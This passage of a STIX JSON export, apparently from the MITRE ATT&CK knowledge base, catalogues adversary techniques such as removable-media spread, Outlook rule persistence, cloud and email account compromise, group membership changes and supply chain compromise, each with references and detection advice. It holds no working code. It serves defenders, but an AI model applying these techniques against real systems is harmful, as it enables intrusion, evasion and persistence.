            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)",
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            "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "created": "2019-09-04T14:37:07.959Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1536",
                    "external_id": "T1536"
                },
                {
                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
                    "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
                },
                {
                    "source_name": "Google - Restore Cloud Snapshot",
                    "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
                    "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots"
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            "modified": "2025-04-25T15:15:25.095Z",
            "name": "Revert Cloud Instance",
            "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Netskope"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "created": "2017-05-31T21:31:08.977Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1091",
                    "external_id": "T1091"
                },
                {
                    "source_name": "Windows Malware Infecting Android",
                    "description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.",
                    "url": "https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html"
                },
                {
                    "source_name": "iPhone Charging Cable Hack",
                    "description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.",
                    "url": "https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/"
                },
                {
                    "source_name": "Exploiting Smartphone USB ",
                    "description": "Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.",
                    "url": "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf"
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            "modified": "2025-04-15T19:58:24.231Z",
            "name": "Replication Through Removable Media",
            "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).",
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                {
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                    "phase_name": "lateral-movement"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Joas Antonio dos Santos, @C0d3Cr4zy"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Access",
                "Process: Process Creation",
                "Drive: Drive Creation",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "created": "2017-05-31T21:30:20.537Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1005",
                    "external_id": "T1005"
                },
                {
                    "source_name": "show_run_config_cmd_cisco",
                    "description": "Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733"
                },
                {
                    "source_name": "Mandiant APT41 Global Intrusion ",
                    "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
                    "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:24.318Z",
            "name": "Data from Local System",
            "description": "Adversaries may search local system sources, such as file systems, configuration files, local databases, or virtual machine files, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n",
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            "x_mitre_contributors": [
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                "Austin Clark, @c2defense"
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            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to collect files such as configuration files with built-in features native to the network device platform.(Citation: Mandiant APT41 Global Intrusion )(Citation: US-CERT-TA18-106A) Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands that view configuration files. ",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "Network Devices",
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            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Script: Script Execution",
                "Command: Command Execution",
                "Process: Process Creation",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1140",
                    "external_id": "T1140"
                },
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                },
                {
                    "source_name": "Sentinel One Tainted Love 2023",
                    "description": "Aleksandar Milenkoski, Juan Andres Guerrero-Saade, and Joey Chen. (2023, March 23). Operation Tainted Love | Chinese APTs Target Telcos in New Attacks. Retrieved March 18, 2025.",
                    "url": "https://www.sentinelone.com/labs/operation-tainted-love-chinese-apts-target-telcos-in-new-attacks/"
                },
                {
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
                },
                {
                    "source_name": "Carbon Black Obfuscation Sept 2016",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:24.400Z",
            "name": "Deobfuscate/Decode Files or Information",
            "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is the use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows <code>copy /b</code> or <code>type</code> command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)(Citation: Sentinel One Tainted Love 2023)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016)",
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Red Canary",
                "Crist\u00f3bal Mart\u00ednez Mart\u00edn"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "Windows",
                "macOS"
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Script: Script Execution",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44",
            "created": "2019-11-07T20:00:25.560Z",
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            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/005",
                    "external_id": "T1137.005"
                },
                {
                    "source_name": "Pfammatter - Hidden Inbox Rules",
                    "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.",
                    "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "SilentBreak Outlook Rules",
                    "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.",
                    "url": "https://silentbreaksecurity.com/malicious-outlook-rules/"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
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            "modified": "2025-04-15T22:55:47.125Z",
            "name": "Outlook Rules",
            "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)",
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            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
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            "created": "2020-02-21T20:22:13.470Z",
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                    "url": "https://attack.mitre.org/techniques/T1562",
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                    "source_name": "Google Cloud Mandiant UNC3886 2024",
                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
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                    "source_name": "Emotet shutdown",
                    "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.",
                    "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"
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            "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a",
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                    "url": "https://attack.mitre.org/techniques/T1586/003",
                    "external_id": "T1586.003"
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                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
                },
                {
                    "source_name": "Awake Security C2 Cloud",
                    "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
                },
                {
                    "source_name": "Netcraft SendGrid 2024",
                    "description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.",
                    "url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/"
                },
                {
                    "source_name": "MSTIC Nobelium Oct 2021",
                    "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/"
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            "modified": "2025-04-15T22:01:54.640Z",
            "name": "Cloud Accounts",
            "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2020-10-01T01:20:53.104Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586/002",
                    "external_id": "T1586.002"
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                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
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            "modified": "2025-04-15T22:26:01.830Z",
            "name": "Email Accounts",
            "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.",
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            "created": "2024-08-05T20:49:49.809Z",
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                    "url": "https://attack.mitre.org/techniques/T1098/007",
                    "external_id": "T1098.007"
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                {
                    "source_name": "Linux Usermod",
                    "description": "Man7. (n.d.). Usermod. Retrieved August 5, 2024.",
                    "url": "https://www.man7.org/linux/man-pages/man8/usermod.8.html"
                },
                {
                    "source_name": "Microsoft Net Group",
                    "description": "Microsoft. (2016, August 31). Net group. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754051(v=ws.11)"
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                {
                    "source_name": "Microsoft Net Localgroup",
                    "description": "Microsoft. (2016, August 31). Net Localgroup. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)"
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                {
                    "source_name": "Microsoft RDP Logons",
                    "description": "Microsoft. (2017, April 9). Allow log on through Remote Desktop Services. Retrieved August 5, 2024.",
                    "url": "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/allow-log-on-through-remote-desktop-services"
                },
                {
                    "source_name": "RootDSE AD Detection 2022",
                    "description": "Scarred Monk. (2022, May 6). Real-time detection scenarios in Active Directory environments. Retrieved August 5, 2024.",
                    "url": "https://rootdse.org/posts/monitoring-realtime-activedirectory-domain-scenarios"
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            "modified": "2025-04-15T21:47:40.787Z",
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            "description": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod)\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) to log into the endpoints in the future.(Citation: Microsoft RDP Logons) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage [Sudo and Sudo Caching](https://attack.mitre.org/techniques/T1548/003) for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)",
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            "created": "2021-03-17T20:09:13.222Z",
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                    "url": "https://attack.mitre.org/techniques/T1608/001",
                    "external_id": "T1608.001"
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                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
                },
                {
                    "source_name": "Talos IPFS 2022",
                    "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
                    "url": "https://blog.talosintelligence.com/ipfs-abuse/"
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            "modified": "2025-04-15T23:17:57.194Z",
            "name": "Upload Malware",
            "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1195",
                    "external_id": "T1195"
                },
                {
                    "source_name": "Avast CCleaner3 2018",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
                },
                {
                    "source_name": "Command Five SK 2011",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
                },
                {
                    "source_name": "IBM Storwize",
                    "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.",
                    "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E"
                },
                {
                    "source_name": "Symantec Elderwood Sept 2012",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"
                },
                {
                    "source_name": "Schneider Electric USB Malware",
                    "description": "Schneider Electric. (2018, August 24). Security Notification \u2013 USB Removable Media Provided With Conext Combox and Conext Battery Monitor. Retrieved May 28, 2019.",
                    "url": "https://www.se.com/us/en/download/document/SESN-2018-236-01/"
                },
                {
                    "source_name": "Trendmicro NPM Compromise",
                    "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019.",
                    "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets"
                },
                {
                    "source_name": "Microsoft Dofoil 2018",
                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"
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            "modified": "2025-04-15T23:13:41.905Z",
            "name": "Supply Chain Compromise",
            "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)",
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                    "phase_name": "initial-access"
